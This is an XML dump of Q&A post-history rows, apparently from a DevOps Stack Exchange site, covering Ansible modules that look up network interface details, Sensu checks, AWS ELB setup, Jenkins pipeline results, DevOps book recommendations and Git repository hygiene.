  <row Id="4324" PostHistoryTypeId="4" PostId="1313" RevisionGUID="155fb442-ba43-4159-9ef6-ad0939ec1335" CreationDate="2017-06-07T01:57:44.377" UserId="375" Comment="grammar fixes" Text="How to detect what interface has private IP in Ansible" ContentLicense="CC BY-SA 3.0" />
  <row Id="4325" PostHistoryTypeId="24" PostId="1313" RevisionGUID="155fb442-ba43-4159-9ef6-ad0939ec1335" CreationDate="2017-06-07T01:57:44.377" Comment="Proposed by 375 approved by 46 edit id of 366" ContentLicense="CC BY-SA 3.0" />
  <row Id="4326" PostHistoryTypeId="5" PostId="1315" RevisionGUID="e1c494d6-3f13-455f-b910-7e3f86c26431" CreationDate="2017-06-07T02:59:47.890" UserId="375" Comment="formatting, grammar" Text="I couldn't find it in Ansible, so I wrote something to help a couple of weeks ago:&#xA;&#xD;&#xA;    import fcntl&#xD;&#xA;    import json&#xD;&#xA;    import os&#xD;&#xA;    import platform&#xD;&#xA;    import subprocess&#xD;&#xA;    import socket&#xD;&#xA;    import struct&#xD;&#xA;    import re&#xD;&#xA;    from random import randint&#xD;&#xA;    import time&#xD;&#xA;    from ansible.module_utils.basic import *&#xD;&#xA;&#xD;&#xA;    def get_interface_info_for_ip(ip):&#xD;&#xA;    &#xD;&#xA;      ifconfig_process = subprocess.Popen(['/sbin/ifconfig'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)&#xD;&#xA;      ifconfig_stdout_lines, ifconfig_stderr_lines = ifconfig_process.communicate()&#xD;&#xA;    &#xD;&#xA;      for ifconfig_stdout_line in ifconfig_stdout_lines.split('\n'):&#xD;&#xA;        if 'mtu' in ifconfig_stdout_line.split():&#xD;&#xA;          current_ifdesc = ''&#xD;&#xA;          current_mtu = ''&#xD;&#xA;          current_ip = ''&#xD;&#xA;          current_netmask = ''&#xD;&#xA;          current_mac = ''&#xD;&#xA;          ifdesc_line_match = re.match(r'(?P&lt;ifdesc&gt;[a-zA-Z0-9]+):.+mtu\s+(?P&lt;mtu&gt;[0-9]+)', ifconfig_stdout_line )&#xD;&#xA;          if ifdesc_line_match:&#xD;&#xA;            current_ifdesc = ifdesc_line_match.groupdict()['ifdesc']&#xD;&#xA;            current_mtu = ifdesc_line_match.groupdict()['mtu']&#xD;&#xA;    &#xD;&#xA;        if 'inet' in ifconfig_stdout_line.split():&#xD;&#xA;          inet_line_match = re.match(r'\s+inet\s+(?P&lt;ip&gt;[0-9.]+)\s+netmask\s+(?P&lt;netmask&gt;[0-9.]+)', ifconfig_stdout_line)&#xD;&#xA;          if inet_line_match:&#xD;&#xA;             current_ip = inet_line_match.groupdict()['ip']&#xD;&#xA;             current_netmask = inet_line_match.groupdict()['netmask']&#xD;&#xA;    &#xD;&#xA;        if 'ether' in ifconfig_stdout_line.split():&#xD;&#xA;          ether_line_match = re.match(r'\s+ether\s+(?P&lt;mac&gt;[0-9a-f:]+)', ifconfig_stdout_line)&#xD;&#xA;          if ether_line_match:&#xD;&#xA;             current_mac = ether_line_match.groupdict()['mac']&#xD;&#xA;    &#xD;&#xA;        if current_ifdesc and current_mtu and current_ip and current_netmask and current_mac and current_ip == ip:&#xD;&#xA;          return current_ifdesc, current_mtu, current_ip, current_netmask, current_mac&#xD;&#xA;&#xD;&#xA;    def main(argv=None):&#xD;&#xA;        if argv is None:&#xD;&#xA;          argv = sys.argv&#xD;&#xA;    &#xD;&#xA;        module = AnsibleModule(&#xD;&#xA;            argument_spec = dict(&#xD;&#xA;               silo_ip = dict(required=True),&#xD;&#xA;            )&#xD;&#xA;        )&#xD;&#xA;        my_ip = module.params['ip']&#xD;&#xA;        ifdesc, mtu, ip, netmask, mac = get_interface_info_for_ip(my_ip)&#xD;&#xA;    &#xD;&#xA;        module.exit_json(changed=True, ifdesc=ifdesc, ip=ip, mac=mac, netmask=netmask, mtu=mtu)&#xD;&#xA;    &#xD;&#xA;    if __name__ == '__main__':&#xD;&#xA;        main()&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Call the file `get_ip_facts`, put it in your library path and call it with:&#xD;&#xA;&#xD;&#xA;    name: get facts for ip address&#xD;&#xA;    get_ip_facts: ip={{ whatever_your_ip_is }}" ContentLicense="CC BY-SA 3.0" />
  <row Id="4327" PostHistoryTypeId="24" PostId="1315" RevisionGUID="e1c494d6-3f13-455f-b910-7e3f86c26431" CreationDate="2017-06-07T02:59:47.890" Comment="Proposed by 375 approved by 323 edit id of 367" ContentLicense="CC BY-SA 3.0" />
  <row Id="4328" PostHistoryTypeId="6" PostId="1305" RevisionGUID="38e96dc0-96fc-4cc9-b9e4-582f3ed854f7" CreationDate="2017-06-07T03:41:07.347" UserId="46" Comment="edited tags" Text="&lt;untagged&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4330" PostHistoryTypeId="2" PostId="1316" RevisionGUID="3bdc1c3e-5758-4e7b-b29d-f352766d0401" CreationDate="2017-06-07T08:38:53.623" UserId="13" Text="So what you have actually is this:&#xD;&#xA;&#xD;&#xA;[![Schema of OP's architecture][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/0PDeG.png&#xD;&#xA;&#xD;&#xA;As your API ELB is in a private zone it can't be accessed from the internet.  &#xD;&#xA;Your frontend in React.js just run in User's browser and not on the UI servers, those server just serve static files.&#xD;&#xA;&#xD;&#xA;You have two options, configure your frontend servers to redirect API calls to the API ELB or just update the API ELB to be internet facing.&#xD;&#xA;&#xD;&#xA;The usual pitfall of JavaScript apps is forgetting they run inside user's browser and not on the frontend servers as a JEE application would." ContentLicense="CC BY-SA 3.0" />
  <row Id="4335" PostHistoryTypeId="2" PostId="1318" RevisionGUID="2f146683-bb3d-4f55-9b73-a334a9183964" CreationDate="2017-06-07T15:39:23.013" UserId="1084" Text="Peter's module not working in CentOS and I write my own module:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/python&#xD;&#xA;    # encoding: utf-8&#xD;&#xA;    &#xD;&#xA;    import subprocess&#xD;&#xA;    from ansible.module_utils.basic import *&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    def get_interface_info_for_ip(ip):&#xD;&#xA;        network_config = subprocess.Popen([&quot;/usr/sbin/ip&quot;, &quot;-o&quot;, &quot;addr&quot;, &quot;show&quot;], stdout=subprocess.PIPE)&#xD;&#xA;        result = network_config.stdout.read()&#xD;&#xA;        interface = &quot;&quot;&#xD;&#xA;        for str in result.split(&quot;\n&quot;):&#xD;&#xA;            if 'inet ' in str:&#xD;&#xA;                if ip in str:&#xD;&#xA;                    interface = str[3:str.find(&quot; &quot;, 3)]&#xD;&#xA;    &#xD;&#xA;        return interface, ip&#xD;&#xA;    &#xD;&#xA;    def main(argv=None):&#xD;&#xA;        if argv is None:&#xD;&#xA;            argv = sys.argv&#xD;&#xA;    &#xD;&#xA;        fields = {&quot;ip&quot;: {&quot;required&quot;: True, &quot;type&quot;: &quot;str&quot;}}&#xD;&#xA;        module = AnsibleModule(argument_spec=fields)&#xD;&#xA;        my_ip = module.params['ip']&#xD;&#xA;        ifname, my_ip = get_interface_info_for_ip(my_ip)&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;        module.exit_json(changed=True, ifname=ifname, ip=my_ip)&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    if __name__ == '__main__':&#xD;&#xA;        main()&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4344" PostHistoryTypeId="2" PostId="1321" RevisionGUID="9175302a-9c50-4018-9ef5-0b35264d72c9" CreationDate="2017-06-07T20:04:27.433" UserId="154" Text="Test Kitchen? Your requirements are huge and vague but it's probably your best bet." ContentLicense="CC BY-SA 3.0" />
  <row Id="4346" PostHistoryTypeId="2" PostId="1322" RevisionGUID="9ff764af-dd05-4569-ac50-b05ba69c5bc1" CreationDate="2017-06-08T08:05:54.910" UserId="210" Text="A certain check works, but it should be checked multiple times within a certain range before a user gets notified.&#xD;&#xA;&#xD;&#xA;There are [multiple Sensu attributes][1] that could be configured. This list has been consulted, but no solution was found. Is it possible to mark a check as warning or error if a check fails multiple times in a certain time range?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Perhaps [aggregates][2] would be an option, but should this not be used for multiple clients instead of using it for one check?&#xD;&#xA;&#xD;&#xA;&gt;     {&#xD;&#xA;&gt;       &quot;clients&quot;: 15,&#xD;&#xA;&gt;       &quot;checks&quot;: 2,&#xD;&#xA;&gt;       &quot;results&quot;: {&#xD;&#xA;&gt;         &quot;ok&quot;: 18,&#xD;&#xA;&gt;         &quot;warning&quot;: 0,&#xD;&#xA;&gt;         &quot;critical&quot;: 1,&#xD;&#xA;&gt;         &quot;unknown&quot;: 0,&#xD;&#xA;&gt;         &quot;total&quot;: 19,&#xD;&#xA;&gt;         &quot;stale&quot;: 0&#xD;&#xA;&gt;       }&#xD;&#xA;&gt;     }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://sensuapp.org/docs/latest/reference/checks.html#check-attributes&#xD;&#xA;  [2]: https://sensuapp.org/docs/latest/reference/aggregates.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="4347" PostHistoryTypeId="1" PostId="1322" RevisionGUID="9ff764af-dd05-4569-ac50-b05ba69c5bc1" CreationDate="2017-06-08T08:05:54.910" UserId="210" Text="How to mark a check as warning or error if a check fails multiple times within a certain time range using Sensu?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4348" PostHistoryTypeId="3" PostId="1322" RevisionGUID="9ff764af-dd05-4569-ac50-b05ba69c5bc1" CreationDate="2017-06-08T08:05:54.910" UserId="210" Text="&lt;sensu&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4349" PostHistoryTypeId="5" PostId="928" RevisionGUID="faaf8869-2c69-4317-8b26-9e84fe83d918" CreationDate="2017-06-08T09:10:25.253" UserId="2368" Comment="Added spotswap tool" Text="Spotted an open source tool called [autospotting](https://github.com/cristim/autospotting) that just might help with this:  &#xD;&#xA;&#xD;&#xA;&gt; Once enabled on an existing on-demand AutoScaling group, it launches an EC2 spot instance that is cheaper, at least as large and configured identically to your current on-demand instances. As soon as the new instance is ready, it is added to the group and an on-demand instance is detached from the group and terminated.&#xD;&#xA;&#xD;&#xA;We have this in our to-do pipeline, will be able to add more context once we finish that.&#xD;&#xA;&#xD;&#xA;Update:&#xD;&#xA;&#xD;&#xA;Another tool that was recently demo'ed in a conference was [mapbox/spotswap](https://github.com/mapbox/spotswap)&#xD;&#xA;&#xD;&#xA;This works slightly differently. It monitors a normal ASG with either On-Demand or Reserved instances and then, if scale arises, bids and provisions spot instances of similar compute level on a separate ASG." ContentLicense="CC BY-SA 3.0" />
  <row Id="4350" PostHistoryTypeId="5" PostId="1318" RevisionGUID="66f14cc4-a41c-4146-bca6-d7f2f859255b" CreationDate="2017-06-08T10:07:57.037" UserId="1084" Comment="added 1242 characters in body" Text="Peter's module not working in CentOS and I write my own module:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/python&#xD;&#xA;    # encoding: utf-8&#xD;&#xA;    &#xD;&#xA;    import subprocess&#xD;&#xA;    from ansible.module_utils.basic import *&#xD;&#xA;    from netaddr import IPNetwork&#xD;&#xA;    &#xD;&#xA;    def get_priv_interface_info_for_ip(ip):&#xD;&#xA;        network_config = subprocess.Popen([&quot;/usr/sbin/ip&quot;, &quot;-o&quot;, &quot;addr&quot;, &quot;show&quot;], stdout=subprocess.PIPE)&#xD;&#xA;        result = network_config.stdout.read()&#xD;&#xA;        interface = &quot;&quot;&#xD;&#xA;        network = ''&#xD;&#xA;        ip_addr = ip&#xD;&#xA;        for str in result.split(&quot;\n&quot;):&#xD;&#xA;            if 'inet ' in str:&#xD;&#xA;                if ip in str:&#xD;&#xA;                    interface = str[3:str.find(&quot; &quot;, 3)]&#xD;&#xA;                    network = IPNetwork(str[str.find(&quot;net&quot;, 3) + 4:str.find(&quot;/&quot;, 3) + 3]).cidr&#xD;&#xA;    &#xD;&#xA;        return interface, ip_addr, network&#xD;&#xA;    &#xD;&#xA;    def get_pub_interface_info_for_ip(ip):&#xD;&#xA;        network_config = subprocess.Popen([&quot;/usr/sbin/ip&quot;, &quot;-o&quot;, &quot;addr&quot;, &quot;show&quot;], stdout=subprocess.PIPE)&#xD;&#xA;        result = network_config.stdout.read()&#xD;&#xA;        interface = ''&#xD;&#xA;        network = ''&#xD;&#xA;        ip_addr = ''&#xD;&#xA;        for str in result.split(&quot;\n&quot;):&#xD;&#xA;            if 'inet ' in str:&#xD;&#xA;                if ip not in str and '127.0.0.1' not in str:&#xD;&#xA;                    print str&#xD;&#xA;                    interface = str[3:str.find(&quot; &quot;, 3)]&#xD;&#xA;                    network = IPNetwork(str[str.find(&quot;net&quot;, 3) + 4:str.find(&quot;/&quot;, 3) + 3]).cidr&#xD;&#xA;                    ip_addr = str[str.find(&quot;net&quot;, 3) + 4:str.find(&quot;/&quot;, 3)]&#xD;&#xA;    &#xD;&#xA;        return interface, ip_addr, network&#xD;&#xA;    &#xD;&#xA;    def main(argv=None):&#xD;&#xA;        if argv is None:&#xD;&#xA;            argv = sys.argv&#xD;&#xA;    &#xD;&#xA;        fields = {&quot;ip&quot;: {&quot;required&quot;: True, &quot;type&quot;: &quot;str&quot;}}&#xD;&#xA;        module = AnsibleModule(argument_spec=fields)&#xD;&#xA;        my_ip = module.params['ip']&#xD;&#xA;        ifname_priv, ip_priv, network_priv = get_priv_interface_info_for_ip(my_ip)&#xD;&#xA;        ifname_pub, ip_pub, network_pub = get_pub_interface_info_for_ip(my_ip)&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;        module.exit_json(changed=True, ifname_priv=ifname_priv, ip_priv=my_ip, network_priv=str(network_priv), ifname_pub=ifname_pub, ip_pub=ip_pub, network_pub=str(network_pub))&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    if __name__ == '__main__':&#xD;&#xA;        main()&#xD;&#xA;&#xD;&#xA;It works for servers with two network interfaces and provide information about public and private network interfaces." ContentLicense="CC BY-SA 3.0" />
  <row Id="4354" PostHistoryTypeId="2" PostId="1324" RevisionGUID="9e2bd3fb-7456-4dad-9572-e42298dd5f46" CreationDate="2017-06-08T11:01:10.287" UserId="707" Text="For sure there is partly an opinion question, but many colleagues around me have little knowledge about books offering thought leadership on DevOps. So this thread might be of great convinience. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4355" PostHistoryTypeId="1" PostId="1324" RevisionGUID="9e2bd3fb-7456-4dad-9572-e42298dd5f46" CreationDate="2017-06-08T11:01:10.287" UserId="707" Text="What is recommended books order offering thought leadership to read on DevOps to go from beginner to expert?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4356" PostHistoryTypeId="3" PostId="1324" RevisionGUID="9e2bd3fb-7456-4dad-9572-e42298dd5f46" CreationDate="2017-06-08T11:01:10.287" UserId="707" Text="&lt;learning&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4357" PostHistoryTypeId="4" PostId="1324" RevisionGUID="c0910f8b-d227-465a-ae2d-c675e249c658" CreationDate="2017-06-08T11:37:50.170" UserId="707" Comment="edited title" Text="What is recommended books reading order offering thought leadership to read on DevOps to go from beginner to expert?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4358" PostHistoryTypeId="5" PostId="1296" RevisionGUID="a7787c87-1b9a-468d-a07e-d62a22017f5c" CreationDate="2017-06-08T12:24:15.630" UserId="339" Comment="there are solutions available, some unreleased." Text="There is currently one safe way to do this.&#xD;&#xA;&#xD;&#xA;You can use `{{opts.id}}` as an explicit way to grab the minion ID. `opts` is technically an implementation detail; the `opts` dictionary is a Salt [internal structure](https://docs.saltstack.com/en/latest/ref/internals/opts.html) that doesn't appear to be formally specified. Its candidacy for the purpose was pointed out to me in a [bug comment](https://github.com/saltstack/salt/issues/41568#issuecomment-306968291).&#xD;&#xA;&#xD;&#xA;In the next version of Salt (so, later than 2016.11.5) the `id` grain, will have been [special-cased](https://github.com/saltstack/salt/issues/10212), making it possible to use `{{grains.id}}` safely." ContentLicense="CC BY-SA 3.0" />
  <row Id="4360" PostHistoryTypeId="10" PostId="1113" RevisionGUID="d70996c9-cd56-4d28-8cda-950f86232c5d" CreationDate="2017-06-08T12:49:58.733" UserId="13" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="4361" PostHistoryTypeId="2" PostId="1325" RevisionGUID="fc493e57-dfeb-4be9-9832-1d2c2a862348" CreationDate="2017-06-08T16:13:09.577" UserId="3087" Text="I have been using one Jenkins job, that will pull repository from gitlab.&#xD;&#xA;Then it will modify the files and push it into gitlab (only if any user added any new files/modify contents in gitlab). Otherwise, it simply does empty commit.&#xD;&#xA;When empty commits &amp; push happens, Jenkins job shows me like the job is failed. For only this case, I want to make Jenkins should show as successful.&#xD;&#xA;Is there any way to do it?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4362" PostHistoryTypeId="1" PostId="1325" RevisionGUID="fc493e57-dfeb-4be9-9832-1d2c2a862348" CreationDate="2017-06-08T16:13:09.577" UserId="3087" Text="Jenkins shows the job as failed if there is nothing to commit to gitlab" ContentLicense="CC BY-SA 3.0" />
  <row Id="4363" PostHistoryTypeId="3" PostId="1325" RevisionGUID="fc493e57-dfeb-4be9-9832-1d2c2a862348" CreationDate="2017-06-08T16:13:09.577" UserId="3087" Text="&lt;jenkins&gt;&lt;git&gt;&lt;jenkins-pipeline&gt;&lt;gitlab&gt;&lt;jenkins2&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4364" PostHistoryTypeId="50" PostId="1124" RevisionGUID="19b3d300-41d1-49d4-a31f-babdc5d63232" CreationDate="2017-06-08T16:35:55.403" UserId="-1" />
  <row Id="4365" PostHistoryTypeId="2" PostId="1326" RevisionGUID="1d5bc53f-9af3-4bfc-ab9d-f8fecc080392" CreationDate="2017-06-08T18:54:33.357" UserId="2845" Text="One fantastic read that offers great thought leadership on this issue and is specifically tailored to the non-technical is [The Phoenix Project](https://www.amazon.com/Phoenix-Project-DevOps-Helping-Business-ebook/dp/B00AZRBLHO/ref=sr_1_2?ie=UTF8&amp;qid=1496937230&amp;sr=8-2&amp;keywords=phoenix+project) which is available in paperback, a Kindle E-book and as an [Audiobook](https://www.audible.com/pd/Business/The-Phoenix-Project-Audiobook/B00VAZZY32). This book offers an excellent starting place to educate on the who, what and why of DevOps, wich is often seen as nebulous buzzword. The official synopses states,&#xD;&#xA;&#xD;&#xA;&gt;Bill is an IT manager at Parts Unlimited. It's Tuesday morning and on his drive into the office, Bill gets a call from the CEO. &#xD;&#xA;&gt;&#xD;&#xA;The company's new IT initiative, code named Phoenix Project, is critical to the future of Parts Unlimited, but the project is massively over budget and very late. The CEO wants Bill to report directly to him and fix the mess in ninety days or else Bill's entire department will be outsourced. &#xD;&#xA;&gt;&#xD;&#xA;With the help of a prospective board member and his mysterious philosophy of The Three Ways, Bill starts to see that IT work has more in common with manufacturing plant work than he ever imagined. With the clock ticking, Bill must organize work flow streamline interdepartmental communications, and effectively serve the other business functions at Parts Unlimited.&#xD;&#xA;&#xD;&#xA;By novelizing this story the authors are able to expertly illustrate and explain in a detailed and entertaining manner:&#xD;&#xA;&#xD;&#xA; 1. What DevOps means and entails&#xD;&#xA; 2. What teams and individuals are involved in DevOps&#xD;&#xA; 3. How DevOps can benefit a companies' workers and business&#xD;&#xA; 4. Challenges and weaknesses of the traditional model&#xD;&#xA;&#xD;&#xA;While this will not explain or recommend how to do DevOps on a technical level, it will make and explain the business case and method for doing so, thereby taking you from beginner to intermediate.&#xD;&#xA;&#xD;&#xA;The authors have also published a followup tome, the [DevOps Handbook](https://www.amazon.com/DevOps-Handbook-World-Class-Reliability-Organizations/dp/1942788002/ref=la_B00AERCJ9E_1_2?s=books&amp;ie=UTF8&amp;qid=1496947035&amp;sr=1-2) which bills itself as a how-to on &quot;Creating World-Class Agility, Reliability, and Security in Technology Organizations,&quot; however one reviewer, [FA Calkins](https://www.amazon.com/gp/pdp/profile/A10UN0KBIMA1CB/ref=cm_cr_dp_d_pdp?ie=UTF8) cautioned,&#xD;&#xA;&#xD;&#xA;&gt;Dont buy this book if you expect it to teach you how to build a CI/CD DEVOPS environment. It is basically a review/summary of a bunch of research papers that the authors have read, but does not provide any specifics details of how to set up a CI/CD pipepline (only theory). You can get most of the content of this book by reading articles from the web. Also, you can get more specific details of how to implement CI/CD with specific tools, programs, and scripts from other sources. Dont waste your time trying to read this book if you want to deploy CI/CD. &#xD;&#xA;&#xD;&#xA;Though I have not yet read it (it is on my reading list!), the description claims that the book includes&#xD;&#xA;&#xD;&#xA;&gt; - More than 40 DevOps case studies, including Amazon, Etsy, Capital One, Google, Facebook, Intuit, Nationwide Insurance and many more&#xD;&#xA;&#xD;&#xA;&gt; - More than 400 pages of DevOps applications, lessons and 'how-to’s'.&#xD;&#xA;&#xD;&#xA;&gt; - DevOps data gathered from more than 25,000 data points.&#xD;&#xA;&#xD;&#xA;These resources should at least get you started on the business/philosophy piece." ContentLicense="CC BY-SA 3.0" />
  <row Id="4367" PostHistoryTypeId="2" PostId="1327" RevisionGUID="ed592dfb-eb42-45fb-97e7-177bb44dfe6a" CreationDate="2017-06-09T09:20:30.347" UserId="707" Text="Stepping from &quot;crafted&quot; DevOps toolchains to declarative pipelines [1] is imo next transformation step towards even more productivity which requires additional effort.&#xD;&#xA;&#xD;&#xA;Any experiences what can be the &quot;critical mass&quot; where this investment is a clear pay-off and not an overkill?&#xD;&#xA;&#xD;&#xA;[1] https://www.thoughtworks.com/radar/techniques/pipelines-as-code" ContentLicense="CC BY-SA 3.0" />
  <row Id="4368" PostHistoryTypeId="1" PostId="1327" RevisionGUID="ed592dfb-eb42-45fb-97e7-177bb44dfe6a" CreationDate="2017-06-09T09:20:30.347" UserId="707" Text="What are formal criteria for establishing declarative pipelines, or pipelines as a code?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4369" PostHistoryTypeId="3" PostId="1327" RevisionGUID="ed592dfb-eb42-45fb-97e7-177bb44dfe6a" CreationDate="2017-06-09T09:20:30.347" UserId="707" Text="&lt;continuous-integration&gt;&lt;build-pipeline&gt;&lt;methodology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4370" PostHistoryTypeId="2" PostId="1328" RevisionGUID="bf760984-3c5e-4b90-bb1f-1abb180fd46f" CreationDate="2017-06-09T12:57:26.737" UserId="736" Text="I'm going to assume that you have a way to know if the commit is empty or not.&#xD;&#xA;&#xD;&#xA;You can use the following code to mark the job as a success instead of relying on error codes. &#xD;&#xA;&#xD;&#xA;    if( some use case ) {&#xD;&#xA;        currentBuild.result = 'SUCCESS'&#xD;&#xA;        echo &quot;Job succeeded.&quot;&#xD;&#xA;        return&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You have two options for placement. Putting this inside a stage will exit only that stage as a success. Putting it outside a stage (but inside the node) will end the whole job as a success.&#xD;&#xA;&#xD;&#xA;I can't be more specific without knowing your code, but I'd expect something like &quot;make commit, if full continue as normal, if empty build result is success&quot;.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4371" PostHistoryTypeId="2" PostId="1329" RevisionGUID="bc4e7eea-82c5-4bc6-bfa9-8feba4d83d05" CreationDate="2017-06-09T20:18:58.987" UserId="362" Text="I'm using the Cucumber Reports Plugin for Jenkins and I want to be able to export the HTML reports so they can be posted on an external portal. I can see that there is a folder named `cucumber-html-reports` in the build directory in Jenkins, but how do I access this? Is there some way to access these files from within a pipeline?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4372" PostHistoryTypeId="1" PostId="1329" RevisionGUID="bc4e7eea-82c5-4bc6-bfa9-8feba4d83d05" CreationDate="2017-06-09T20:18:58.987" UserId="362" Text="How to export Cucumber Reports via Jenkins Pipeline" ContentLicense="CC BY-SA 3.0" />
  <row Id="4373" PostHistoryTypeId="3" PostId="1329" RevisionGUID="bc4e7eea-82c5-4bc6-bfa9-8feba4d83d05" CreationDate="2017-06-09T20:18:58.987" UserId="362" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;testing&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4374" PostHistoryTypeId="2" PostId="1330" RevisionGUID="62156404-6c8a-406f-ad24-9b58ae523669" CreationDate="2017-06-10T03:02:57.633" UserId="2956" Text="You should add export script after Cucumber Reports plugin step, as it should be used by job runned either solely or by pipeline." ContentLicense="CC BY-SA 3.0" />
  <row Id="4375" PostHistoryTypeId="2" PostId="1331" RevisionGUID="95bca61a-190b-43de-9db5-076b887c0f26" CreationDate="2017-06-10T06:20:15.193" UserId="707" Text="If you manage a lot of Git repositories (or other, but Git is a specific and common technology), it could happen that depending on users there will be quite different usage profiles.&#xD;&#xA;&#xD;&#xA;Who is responsible for imposing minimum acceptance criteria for &quot;quality of usage&quot; (I cannot find better term for now) and what are realistic quantifiable measures you could install and link to actionables?&#xD;&#xA;&#xD;&#xA;Examples of anti-patterns and related risks you might be dealing with:&#xD;&#xA;&#xD;&#xA;- Folks upload files, also binaries, which are neither part of the software nor test documents&#xD;&#xA;&#xD;&#xA;- Binary libraries instead of using dependency management&#xD;&#xA;&#xD;&#xA;- Repos become too big (over 15G as stated here)&#xD;&#xA;&#xD;&#xA;- Repos are below 15G but the history is many gigabytes&#xD;&#xA;&#xD;&#xA;- Other?&#xD;&#xA; &#xD;&#xA;Or, should I care? (formal objections, not opinions, why not care)&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4376" PostHistoryTypeId="1" PostId="1331" RevisionGUID="95bca61a-190b-43de-9db5-076b887c0f26" CreationDate="2017-06-10T06:20:15.193" UserId="707" Text="What are feasible quality criteria for Git repositories?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4377" PostHistoryTypeId="3" PostId="1331" RevisionGUID="95bca61a-190b-43de-9db5-076b887c0f26" CreationDate="2017-06-10T06:20:15.193" UserId="707" Text="&lt;git&gt;&lt;scm&gt;&lt;risk&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4378" PostHistoryTypeId="5" PostId="1331" RevisionGUID="6391a06b-4b38-46e7-94d7-30951034fe0d" CreationDate="2017-06-10T06:46:09.910" UserId="707" Comment="added 108 characters in body" Text="If you manage a lot of Git repositories (or other, but Git is a specific and common technology), it could happen that depending on users there will be quite different usage profiles.&#xD;&#xA;&#xD;&#xA;Who is responsible for imposing minimum acceptance criteria for &quot;quality of usage&quot; (I cannot find better term for now) and what are realistic quantifiable measures you could install and link to actionables?&#xD;&#xA;&#xD;&#xA;Examples of anti-patterns and related risks you might be dealing with:&#xD;&#xA;&#xD;&#xA;- Folks upload files, also binaries, which are neither part of the software nor test documents&#xD;&#xA;&#xD;&#xA;- Binary libraries instead of using dependency management&#xD;&#xA;&#xD;&#xA;- Repos become too big (over 15G as stated here [1])&#xD;&#xA;&#xD;&#xA;- Repos are below 15G but the history is many gigabytes&#xD;&#xA;&#xD;&#xA;- Other?&#xD;&#xA; &#xD;&#xA;Or, should anybody care about these things at all? (formal objections, not opinions, why not care)&#xD;&#xA;&#xD;&#xA;[1] https://www.quora.com/What-is-the-practical-maximum-size-of-a-Git-repository-full-of-text-based-data" ContentLicense="CC BY-SA 3.0" />
  <row Id="4379" PostHistoryTypeId="5" PostId="1331" RevisionGUID="ca1012f6-8b89-493a-b9ee-2db98d50771c" CreationDate="2017-06-10T08:40:03.323" UserId="707" Comment="added 171 characters in body" Text="If you manage a lot of Git repositories (or other, but Git is a specific and common technology), it could happen that depending on users there will be quite different usage profiles. On the worst case end you could face issues with broken repositories (unplanned work, risks) and wasted storage (which is claimed to be cheap but is still accounted for).&#xD;&#xA;&#xD;&#xA;Who is responsible for imposing minimum acceptance criteria for &quot;quality of usage&quot; (I cannot find better term for now) and what are realistic quantifiable measures you could install and link to actionables?&#xD;&#xA;&#xD;&#xA;Examples of anti-patterns and related risks you might be dealing with:&#xD;&#xA;&#xD;&#xA;- Folks upload files, also binaries, which are neither part of the software nor test documents&#xD;&#xA;&#xD;&#xA;- Binary libraries instead of using dependency management&#xD;&#xA;&#xD;&#xA;- Repos become too big (over 15G as stated here [1])&#xD;&#xA;&#xD;&#xA;- Repos are below 15G but the history is many gigabytes&#xD;&#xA;&#xD;&#xA;- Other?&#xD;&#xA; &#xD;&#xA;Or, should anybody care about these things at all? (formal objections, not opinions, why not care)&#xD;&#xA;&#xD;&#xA;[1] https://www.quora.com/What-is-the-practical-maximum-size-of-a-Git-repository-full-of-text-based-data" ContentLicense="CC BY-SA 3.0" />
  <row Id="4380" PostHistoryTypeId="2" PostId="1332" RevisionGUID="38d0ef1f-70aa-4d98-adc5-9ebcde17d533" CreationDate="2017-06-10T17:25:01.213" UserId="960" Text="Who is responsible for checking that people don't check in commits that have large files? The same people who are responsible for checking that the commits aren't bad in other ways: everyone.&#xA;&#xA;If git is new in your company, make sure that the git education includes this sort of thing. After that, it's up to code reviewers to notice mistakes and correct them.&#xA;&#xA;If it becomes a repeated problem, then whoever is in charge of developer tooling can write some checks that run every night or whatever and let people know that something slipped through. But that seems like overkill in most situations." ContentLicense="CC BY-SA 3.0" />
